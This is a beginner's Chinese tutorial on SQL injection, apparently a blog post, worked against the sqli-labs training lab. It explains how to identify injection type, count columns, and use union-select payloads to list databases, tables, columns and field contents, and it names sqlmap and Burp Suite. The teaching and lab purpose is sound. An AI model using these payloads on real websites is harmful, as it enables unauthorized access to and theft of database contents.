数据库查询(菜鸡所写)

一、准备

环境:phpstudy2018
题目:sqli-labs-master

二、sql注入

主要分为数字型和字符型

语法:

select * from table
查询 table 中 所有字段内容 :
在这里插入图片描述
select * from table where xxxxxxx
where是限制语,限制返回的内容是符合限制条件的

在这里插入图片描述
database() 返回当前使用的数据库
# 为注释符
limit 1,2 限制返回一行
group_concat() 返回在一行内,该字段或表下的所有内容

原因:

一般来说,每个 Mysql 中都含有一个名为 information_schema的数据库,这个库是系统用来记录其他数据库的信息,在这个数据库中里面有个 tables 表 和 columns表;

tables表是用来提供数据库中表的详细信息,表来自哪个数据库,其中有一行字段名为table_schema,是用来匹配为表的数据库;
columns表是用来记录各个字段名及其表,其中有个字段名为table_name,是用来匹配字段来自的表。

为啥要这么麻烦的查找字段名和表名,直接找那个需要的flag不好吗?这样想是没毛病的,但是你有没有想过,没有字段名,你咋查,用啥查。
所以我们就要利用information_schema中记录的数据库信息,来查找对应的字段,要查找字段名就得知道对应的表名,要知道表名就又得知道数据库名,这就要用到database()。
在查询过程中,这里就可能有一些阻碍,例如没有返回,这就要用到盲注;有报错信息的返回,就用报错注入,当然也可以用其他的方法;。。。。。。。

注入的基本步骤(可能有升级版):

1、探查注入的类型。(盲注啥的特殊的,不适合下列方法)
构造?id=1 and 1=2 (可能参数不是id),如果返回成功,很大可能是字符型;如果是返回失败,可能为数字型;再进一步的构造payload?id=1 and 1=1,如果成功的话,很大的可能就是数字型;如果失败的话,基本就是字符型,这里就要构造闭合;特别注意:可能存在过滤,导致查询失败;

2、然后就是寻找寻找注入点
如果是字符型,先闭合;如果是数字型,就可以直接 ?id=1 order by 1#,查看返回是否正常,不正常时,就把order by后面的1逐步向上加,直到异常,最后一次正常的,就是有几列。再然后就是利用?id=-1 union select 1,2,3# ,1,2,3就是你探测的长度,查看返回的是几,然后几就是注入点。

3、基本操作(假如2是注入点)
一、
?id=-1 union select 1,database(),3# 返回对应的数据库
然后利用数据库名在information_schema数据库中查询信息
二、

?id=-1 union select 1,group_concat(table_name),3 from information_schmea.tables where table_schema='当下的数据库名(可以用database()来替代)'#   

三、

?id=-1 union select 1,group_concat(column_name),3 from information_schema.columns where table_name='想要查询的表'#  

四、

?id=-1 union select 1,group_concat(字段名),3 from 表名#

4、其他,就用别的sql函数就行了,百度,(不停的做题)(注意利用脚本来写,快)

https://blog.youkuaiyun.com/weixin_41516710/article/details/90740752

5、工具

可以用sqlmap的,就用sqlmap
burpsuite也行

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值